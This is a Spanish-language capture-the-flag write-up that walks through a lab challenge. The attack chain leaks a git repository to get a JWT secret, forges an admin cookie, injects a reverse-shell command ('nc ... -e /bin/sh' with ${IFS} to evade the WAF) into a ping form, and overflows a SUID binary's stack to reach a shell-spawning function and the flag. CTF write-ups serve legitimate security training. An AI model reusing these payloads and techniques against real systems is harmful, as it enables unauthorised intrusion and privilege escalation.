

# WRITE-UP – CTF UAM – HISPASEC:

## FUTURAMA EPISODIO 3 PARTE 1

*ELABORADO POR: ARSENIC*

### **Misión:**

¡Unos cibercriminales han aprovechado la cuarentena para hacerse con el control de "Planet Express"! Ayuda al profesor a recuperar su empresa antes de que estos vendan toda la información confidencial que hay en ella.

URL: <http://34.253.120.147:1730>

### **Fase 1 - El login:**

Se entra en la web inicial donde aparece un login y al inspeccionar la pagina vemos un cifrado en verde

## Quarantine monitoring server

### Login

  
  

```
<!doctype html>
<html>
  <head>...</head>
  <body>
    <h1>Quarantine monitoring server</h1>
    <h2>Login</h2>
    <form method="POST" action="/login" onsubmit="document.getElementById('unlockbtn').disabled=true;">
      <p>...</p>
      <p>...</p>
      <p>...</p>
    </form>
    <script type="text/javascript">
      document.getElementById("username").focus();
    </script>
    <!-- ("7qQRdS""1brqsv""ujPWrH")("o6IOWMp9q2BwRN6b8Xc1i1NtBdDiJ6hkp""e9MVFS2v7QIEEn2o6rAkvdMeQsaDDs9ML""o1lv1zEfHzPlrDaczCC6luddvdQri04UH")
  >
</body>
</html>
```

Lanzamos dirb y nos ofrece una información interesante sobre git

dirb http://34.253.120.147:1730/ /usr/share/wordlists/dirb/common.txt

```
---- Scanning URL: http://34.253.120.147:1730/ ----  
+ http://34.253.120.147:1730/.git/HEAD (CODE:200|SIZE:23)
```

si vamos a esta dirección en la url <http://34.253.120.147:1730/.git/HEAD> nos aparece un txt con la ruta `ref/heads/master`. Existe una herramienta de git que te descarga los últimos commits del repo que le indiques.

<https://github.com/internetwache/GitTools/>

Esta herramienta tiene la parte de `gitdumper` + `git extractor`

`./gitdumper.sh http://34.253.120.147:1730/.git/HEAD info`

`./extractor.sh info data` (para extraer la información de la carpeta `info` y guardarla en la carpeta `data`).

Dentro de la carpeta `data` que contiene los commits hay 2 archivos interesantes:

`app.py` → con el código de la web donde vemos que se llama a `SECRET_KEY` & A LA `COOKIE_NAME`

`"from config import SECRET_KEY, COOKIE_NAME"` y en el archivo `config.py` se muestra la siguiente información:

```
root@kali:~/uam/futurama3.1/data/0-60a9159f90f8a1fd916612b2fddedddffc34868bb# cat config.py  
SECRET_KEY=b'\xd2\xe8\x1cnm\xf7\x1c\x195\xc1\x91L\x8a\x8e~\x19'  
COOKIE_NAME="token" root@kali:~/uam/futurama3.1/data/0-60a9159f90f8a1fd916612b2fddedddffc34868bb#
```

Vaya, vaya, que secret key más suculenta un binario como key!! Intento decodificarla de varias formas, mirar el binario. Al final resulta que hay una librería concreta para los token de tipo `jwt`.

Con esta librería `pyjwt` vemos como se encodea/decodean las keys:

`jwt.decode(token de la web, private key)`: Cambiamos el user `'admin'` : 0 por 1 y encodeamos

```
>>> jwt.decode('eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhZG1pbilI6MCwidXNlcm5hbWUiOiJndWVzdCJ9.KvaTMqf5THM2wP-0NNsfhoJ0pI8h9Q61  
t7ewQa8Y9gk', b'\xd2\xe8\x1cnm\xf7\x1c\x195\xc1\x91L\x8a\x8e~\x19')  
{'admin': 0, 'username': 'guest'}  
>>> encoded_jwt = jwt.encode({'admin': 1, 'username': 'guest'}, b'\xd2\xe8\x1cnm\xf7\x1c\x195\xc1\x91L\x8a\x8e~\x19')  
>>> encoded_jwt  
b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhZG1pbilI6MSwidXNlcm5hbWUiOiJndWVzdCJ9.6NXxzjfvVG9FIbbJvVtG6qVsABOpsT8ZgHLSBDETVFgg'  
>>>
```

`encoded_jwt = jwt.encode(('admin': 1, 'username': 'guest'), b'\xd2.....\x19')` y ya tenemos nuestro token particular para añadir la cookie a la web y tener admin power:

`eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhZG1pbilI6MSwidXNlcm5hbWUiOiJndWVzdCJ9.6NXxzjfvVG9FIbbJvVtG6qVsABOpsT8ZgHLSBDETVFgg`

Y premio! Somos user guest pero ya podemos usar el ping

# Quarantine monitoring server

## User dashboard

Hello guest

You have unlocked all features!

 

### **Fase 2 – Consiguiendo shell:**

Hacía bastante tiempo q no realizaba retos de este tipo y me ha traído buenos recuerdos. A partir de aquí es jugar con el el comando ping esquivando el waf Despues e ir probando entre la web y en local finalmente el comando con éxito fué:

```
casa'casa${IFS}|${IFS}nc${IFS}XX.XXX.XXX.XXX${IFS}4444${IFS}-e${IFS}/bin/sh${IFS}'Hola
```

Teniendo el puerto a la escucha conseguimos shell como appuser y nos aparecen en primera instancia los commits de git que habíamos visto en la fase 1. Buscando entre los usuarios me llama la atención flaguser jeje ¿Dónde estará escondida nuestra flag?

```
cat /etc/passwd
```

```
appuser:x:1200:1200:~/home/appuser:
flaguser:x:1201:1201:~/home/flaguser:
```

Buscando entre las distintas carpetas encuentro rápidamente un txt interesante. Problema con appuser no tenemos permiso de lectura debemos realizar un moviento lateral a flaguser para poder echarle el ojo jeje.

```
drwxr-xr-x  1 root    root  4096 Apr 15 12:18 app
drwxr-xr-x  1 root    root  4096 Apr 17 06:54 bin
drwxr-xr-x  2 root    root  4096 Mar 28 2019 boot
drwxr-xr-x  5 root    root   340 Apr 19 11:59 dev
drwxr-xr-x  1 root    root  4096 Apr 17 06:54 etc
-r-xr-x---  1 flaguser root   133 Apr 15 12:17 flag.txt
drwxr-xr-x  1 root    root  4096 Apr  5 17:37 home
```

Imposible hacer sudo -i , sudo -l , sudo su flaguserm nada de estas opciones es posible. Tampoco realizar un break the jail con el típico python -m 'import pty etc. Aquí si que empiezo a dar vueltas como hacer el salto lateral pues?? Tras muchas historias acabando dando con un binario llamado carl el cual tiene el bit suid activado.

<https://www.securityartwork.es/2010/03/23/bit-suid-en-shell-script-i/>

¿Por qué este binario? Pues porque todos los binarios únicamente tienen permisos de root excepto este que “casualmente” tiene permisos el user de nuestro interés: flaguser.

Find / -perm -6000

```
find /bin -perm -u=s
/bin/umount
/bin/mount
/bin/ping
/bin/su
ls -l /bin/mount
-rwsr-xr-x 1 root root 44304 Mar  7  2018 /bin/mount
ls -l /bin/ping
-rwsr-xr-x 1 root root 61240 Nov 10  2016 /bin/ping
ls -l /bin/su
-rwsr-xr-x 1 root root 40536 May 17  2017 /bin/su
ls -l /bin/umount
-rwsr-xr-x 1 root root 31720 Mar  7  2018 /bin/umount
find / -perm -6000
/usr/bin/carl
ls -l /bin/carl
ls -l /usr/bin/carl
-r-sr-sr-x 1 flaguser flaguser 19568 Apr  5 17:36 /usr/bin/carl
```

Comprimo a carl y lo encodeo en base64 para copiarlo y estudiarlo en local

```
gzip -c /usr/bin/carl | base64
```

### **Fase 3 – Buffer overflow:**

Ya en local es descomprimirlo ejecutarlo y empezarlo a analizar. Al ejecutarlo nos dice: “usage <url>” y dado el nombre parece ser que Carl es un curl customizado.

Le pasamos una url y vemos como se ejecuta teniendo en cuenta que el reto iba de exploiting le pasamos <http://34.253.120.147:1730/AAAAAAA> con 500 A y aparece el segmentation fault pero sin lickear nada. Realizamos un file carl y vemos que es un elf de 64bits comprobamos las protecciones con checksec.sh y vemos q tiene partial relro & NX activados. No nos han quitado los símbolos! Bueno esto ya es algo :)

Realizamos el aaaa y vemos las strings para hacernos una idea del funcionamiento de carl. Parece que necesita resolver un host real por lo que la url a pasar ha de existir sin embargo y si le añadimos algo más?

```
[0x7f2431f25090]> iz
[Strings]
Num Paddr Vaddr Len Size Section Type String
000 0x00002924 0x00402924 13 14 (.rodata) ascii carl v1.0 UAM
001 0x00002932 0x00402932 15 16 (.rodata) ascii Usage %s <URL>\n
002 0x00002942 0x00402942 9 10 (.rodata) ascii libc.so.6
003 0x0000294c 0x0040294c 6 7 (.rodata) ascii system
004 0x00002953 0x00402953 7 8 (.rodata) ascii /bin/sh
005 0x0000295b 0x0040295b 7 8 (.rodata) ascii x-debug
006 0x00002966 0x00402966 4 5 (.rodata) ascii http
007 0x0000296b 0x0040296b 25 26 (.rodata) ascii Only http is supported...
008 0x00002985 0x00402985 13 14 (.rodata) ascii request error
009 0x00002993 0x00402993 11 12 (.rodata) ascii Status: %d\n
010 0x000029a2 0x004029a2 19 20 (.rodata) ascii Redirecting to: %s\n
011 0x000029c0 0x004029c0 17 18 (.rodata) ascii Error parsing url
012 0x000029d2 0x004029d2 13 14 (.rodata) ascii carl v1.0 UAM
013 0x000029e0 0x004029e0 10 11 (.rodata) ascii User-Agent
014 0x000029eb 0x004029eb 19 20 (.rodata) ascii Cannot resolve host
015 0x000029ff 0x004029ff 21 22 (.rodata) ascii Socket creation error
016 0x00002a15 0x00402a15 7 8 (.rodata) ascii connect
017 0x00002a1d 0x00402a1d 17 18 (.rodata) ascii Received 0 bytes?
018 0x00002a38 0x00402a38 37 38 (.rodata) ascii Invalid response. Cannot parse status
019 0x00002a5e 0x00402a5e 23 24 (.rodata) ascii Invalid header received
020 0x00002a76 0x00402a76 14 15 (.rodata) ascii content-length
021 0x00002a85 0x00402a85 8 9 (.rodata) ascii location
022 0x00002a8e 0x00402a8e 14 15 (.rodata) ascii socket_connect
023 0x00002a9d 0x00402a9d 17 18 (.rodata) ascii GET %s HTTP/1.1\r\n
024 0x00002aaf 0x00402aaf 13 14 (.rodata) ascii Host: %s:%u\r\n
025 0x00002abd 0x00402abd 6 7 (.rodata) ascii %s: %s
```

### Analizamos la funciones con afl + tips a tener en cuenta:

- 1- Siempre que veamos la función `isoc99_sscanf` está claro q el resto no es de Reversing sino de Exploiting esta función esta relacionada con el stack overflow.
- 2-Siempre es interesante echarle un ojo a las funciones `calloc` (`malloc` si es 32 bits), a las calls q hace el binario
- 3-En este caso particular la función que más atrapa mi atención es la `sym.flag`
- 4-Aunque al ejecutar el binario no lickee lo que sobrepasa del buffer si que esto podemos verlo a través de los registros en mi caso mejor con `r2` o con un depurador.
- 5-Para probar como se va moviendo el binario será interesante poner breakpoints en las funciones que llaman la atención y así ver por donde está pasando.
- 6-Tras esto si comparamos las funciones que aparecen en el afl con las funciones del [agc@main](#) las que no salen en este último son las funciones ocultas y por ello candidatas a funciones de interés.
- 7-Siempre que el Stack Canary no esté activado es que se puede ejecutar en la pila.



```
[0x7f2431f25090]> afl
0x00400f10      1 42      entry0
0x004011b2     20 1011     main
0x0040108d      1 145     sym.flag
0x00400e30      1 6      sym.imp.dlopen
0x00400ef0      1 6      sym.imp.dlsym
0x00400e60      1 6      sym.imp.dlclose
0x00400d50      1 6      sym.imp.dup2
0x00400dc0      1 6      sym.imp.geteuid
0x00400e70      1 6      sym.imp.seteuid
0x00400ed0      1 6      sym.imp.exit
0x00400cc0      1 6      sym.imp.free
0x00400cd0      1 6      sym.imp.recv
0x00400ce0      1 6      sym.imp.__errno_location
0x00400cf0      1 6      sym.imp.strncpy
0x00400d00      1 6      sym.imp.strcpy
0x00400d10      1 6      sym.imp.puts
0x00400d20      1 6      sym.imp.write
0x00400d30      1 6      sym.imp.strlen
0x00400d40      1 6      sym.imp.htons
0x00400d60      1 6      sym.imp.send
0x00400d70      1 6      sym.imp.strchr
0x00400d80      1 6      sym.imp.printf
0x00400d90      1 6      sym.imp.snprintf
0x00400da0      1 6      sym.imp.dup
0x00400db0      1 6      sym.imp.memset
0x00400dd0      1 6      sym.imp.ioctl
0x00400de0      1 6      sym.imp.close
0x00400df0      1 6      sym.imp.read
0x00400e00      1 6      sym.imp.calloc
0x00400e10      1 6      sym.imp.strcmp
0x00400e20      1 6      sym.imp.gethostbyname
0x00400e40      1 6      sym.imp.tolower
0x00400e50      1 6      sym.imp.__isoc99_sscanf
0x00400e80      1 6      sym.imp.realloc
0x00400e90      1 6      sym.imp.setvbuf
0x00400ea0      1 6      sym.imp.perror
0x00400eb0      1 6      sym.imp.strcat
0x00400ec0      1 6      sym.imp.sprintf
0x00400ee0      1 6      sym.imp.connect
0x00400f00      1 6      sym.imp.socket
0x00400ff0      5 119    -> 62    entry.init0
0x00400fc0      3 34     -> 29    entry.fini0
0x00400f50      4 42     -> 37    fcn.00400f50
```

Dado que la variable que más llama la atención es flag la decompilaré con IDA que muestra una función más amigable:

```
void __noreturn flag()
{
    void *handle; // ST08_8
    void (__fastcall *v1)(const char *, _QWORD); // ST00_8
    __uid_t v2; // ebx
    __uid_t v3; // eax

    handle = dlopen("libc.so.6", 1);
    v1 = (void (__fastcall *) (const char *, _QWORD))dlsym(handle, "system");
    dlclose(handle);
    dup2(fd, 0);
    dup2(dword_604180, 1);
    v2 = geteuid();
    v3 = geteuid();
    seteuid(v3, v2);
    v1("/bin/sh", v2);
    exit(0);
}
```

Teniendo en mente que solo tiene activado Partial relro y NX parece un ejercicio clásico de exploiting para lograr shell bypassando NX. Normalmente bastaría con sustituir System() donde printa la función para así manipular el stack sin embargo al depurar la función flag vemos que está llama a system por lo que la podemos usar para nuestro objetivo anteriormente citado.

Otra opción a recordar para el análisis de las calls es ROPgadgets:

```
root@kali:~/uam/futurama3.1# ROPgadget --binary carl --only "jmp|call"
Gadgets information
=====
0x0000000000402d31 : call 0x1032d38
0x00000000004028e9 : call qword ptr [r12 + rbx*8]
0x00000000004028ea : call qword ptr [rsp + rbx*8]
0x0000000000400ca0 : call rax
0x0000000000400ddb : jmp 0x400cb7
0x0000000000402b1f : jmp qword ptr [rax]
0x0000000000400f71 : jmp rax

Unique gadgets found: 7
```

```
root@kali:~/uam/futurama3.1# ./carl http://www.google.com
Status: 200
3a16
<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="es"><head><meta content="
Google.es permite acceder a la información mundial en castellano, catal n, gallego, euskara e ingl s."
  name="description"><meta content="noodp" name="robots"><meta content="text/html; charset=UTF-8" http-
equiv="Content-Type"><meta content="/logos/doodles/2020/earth-day-2020-6753651837108357.3-l.png" itemp
rop="image"><meta content="D a de la Tierra 2020" property="twitter:title"><meta content=" Feliz D a d
e la Tierra 2020! #GoogleDoodle" property="twitter:description"><meta content=" Feliz D a de la Tierra
 2020! #GoogleDoodle" property="og:description"><meta content="summaroot@kali:~/uam/futurama3.1#
root@kali:~/uam/futurama3.1# ./carl http://34.253.120.147:1730/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
root@kali:~/uam/futurama3.1#
```

Segmentation fault! Confirmamos el exploiting que veíamos con la variable isoc99\_sscanf y dado que es de 64 bits no nos lickea los Ox41 pero podemos verlo con los registros. Vamos al lío pues. Marcamos unos breakpoints con db en las funciones que señalé en el afl y lo ejecutamos con do.

```
[0x00000000]> do
Process with PID 4069 started...
File dbg:///carl reopened in read-write mode
= attach 4069 4069
ptrace (PT_ATTACH): Operation not permitted
Unable to find filedescriptor 3
Unable to find filedescriptor 4
Unable to find filedescriptor 3
Unable to find filedescriptor 4
4069
[0x7f57de072000]> dc
hit breakpoint at: 40eff0
[0x00400ff0]> dc
carl v1.0 UAM
hit breakpoint at: 400d80
[0x00400d80]> dc
Usage ./carl <URL>
hit breakpoint at: 400f50
[0x00400f50]> /carl http://34.253.120.147:1730/AAABAACAADAEEAFPAAGAAHAATAAJAAKALAAHMAANAAOAPAAQAARAAASATAAUAAVAAWAAAXAAAYAAZAA1AA2AA3AA4AA5AA6AA7AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAATAAUAAVAAWAAAXAAAYAAZAA1AA2AA3AA4AA5AA6AA7AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Searching 0 byte in [0x400000-0x403000]
hits: 0
[0x00400f50]> dr
rax = 0x00000000
rbx = 0x7f57de099060
rcx = 0x00000000
rdx = 0x00000001
rsi = 0x00000000
r8 = 0x7ffc2accbe76
r9 = 0x00000003
r10 = 0x00000246
r11 = 0x00000000
r12 = 0x7ffc2accbf30
r13 = 0x00000000
r14 = 0x7f57de09a190
r15 = 0x00000000
r8 = 0x7f57de099068
rsp = 0x7ffc2accbf18
rbp = 0x7ffc2accbf20
rip = 0x00400f50
rflags = 0x00000246
orax = 0xffffffffffffffff
```

Podemos ver que el breakpoint de la flag no es usado y que no aparece en el [agc@main](#) que casualidad eh? Justo la función que nos interesa que llama a system no es ejecutada, algo habrá que hacer. Desde aquí se puede realizar un dr y te enseña los registros pero en este caso preferí verlo con gdb peda que muestra exactamente cuál es el registro de rpb y rsp para ver hasta donde sobrescriben las A (en el ejemplo de la imagen anterior faltaban unas cuantas 'A').

[illegible]

Run, info registers y aquí llega la parte bonita donde se hace la magia,

```
gdb-peda$ info registers
rax            0x0                0x0
rbx            0x0                0x0
rcx            0x80                0x80
rdx            0x0                0x0
rsi            0x1a                0x1a
rdi            0x605560            0x605560
rbp            0x4141414141414141  0x4141414141414141
rsp            0x7fffffffdd18      0x7fffffffdd18
r8             0xb                0xb
r9             0x7ffff7e87f90      0x7ffff7e87f90
r10            0x41                0x41
r11            0xd                0xd
r12            0x400f10            0x400f10
r13            0x7fffffffdf60      0x7fffffffdf60
r14            0x0                0x0
r15            0x0                0x0
rip            0x401c36            0x401c36
eflags         0x10202                [ IF RF ]
cs             0x33                0x33
ss             0x2b                0x2b
ds             0x0                0x0
es             0x0                0x0
fs             0x0                0x0
gs             0x0                0x0
```

Vemos como hemos sobre escrito todo el `rbp` y si tras ello ponemos nuestra dirección interesada que llama a `system` (`sym.flag 0x40108d`) se escribirá en `rsp` y ello hará mover `rip`, es decir habremos manipulado el `stack`!!

Al consultar el file carl vimos que espera que la variable sea pasada en little endian y teniendo en cuenta que carl solo acepta url lo hemos de encodear en este formato. Calculo en python:

[illegible]

Pasandole la siguiente url a carl en local el programa nos enseña que escalamos user. Movimiento suid de user!! Vamos a la shell de la fase2 buscamos el binario, realizamos un break the jail con python 3 - c 'import pty;pty.spawn("/bin/bash")' y le pasamos la url. Resultado?



[illegible]

Root , tiene el bit SUID activado! <https://www.securityartwork.es/2010/03/23/bit-suid-en-shell-script-i/>

Con la url exacta no podemos volver a consultar los registros para ver como se ha movido rip. Sin embargo si le quitamos una A y observamos los registros vemos que el 8d del offset se ha quedado en rpb añadiendo esa A pondría en rsp.

```
gdb-peda$ info registers
rax            0x0                                0x0
rbx            0x0                                0x0
rcx            0x80                                0x80
rdx            0x0                                0x0
rsi            0xa                                0xa
rdi            0x605500                            0x605500
rbp            0x8d41414141414141                  0x8d41414141414141
rsp            0x7fffffffdd30                      0x7fffffffdd30
r8             0x1a                                0x1a
r9             0x0                                0x0
r10            0x31                                0x31
r11            0xb                                0xb
r12            0x400f10                            0x400f10
r13            0x7fffffffdf70                      0x7fffffffdf70
r14            0x0                                0x0
r15            0x0                                0x0
rip            0x4010                            0x4010
eflags         0x10206                            [ PF IF RF ]
cs             0x33                                0x33
ss             0x2b                                0x2b
ds             0x0                                0x0
es             0x0                                0x0
fs             0x0                                0x0
gs             0x0                                0x0
```

Pasandole la siguiente url a carl en local el programa nos enseña que escalamos user. Movimiento suid de user!! Vamos a la shell de la fase2 buscamos el binario, realizamos un break the jail con python 3 - c 'import pty;pty.spawn("/bin/bash")' y le pasamos la url a carl Resultado?

```
$ whoami
whoami
flaguser
$
```

Ya tenemos permisos, pues vamos a por el flag.txt de recompensa:

```
$ cat flag.txt
cat flag.txt
Enhorabuena. Esta es tu flag: UAM{9796d81d364dcb9e6e5b5364147f0488}

Sin embargo, hay otro reto. :)

http://34.253.120.147:1731/ssrf
```

Flag + url para la 2a parte.

Mil gracias Julianjm, este reto me ha hecho especial ilusión.

UAM{9796d81d364dcb9e6e5b5364147f0488}

***Autoría: Arsenic***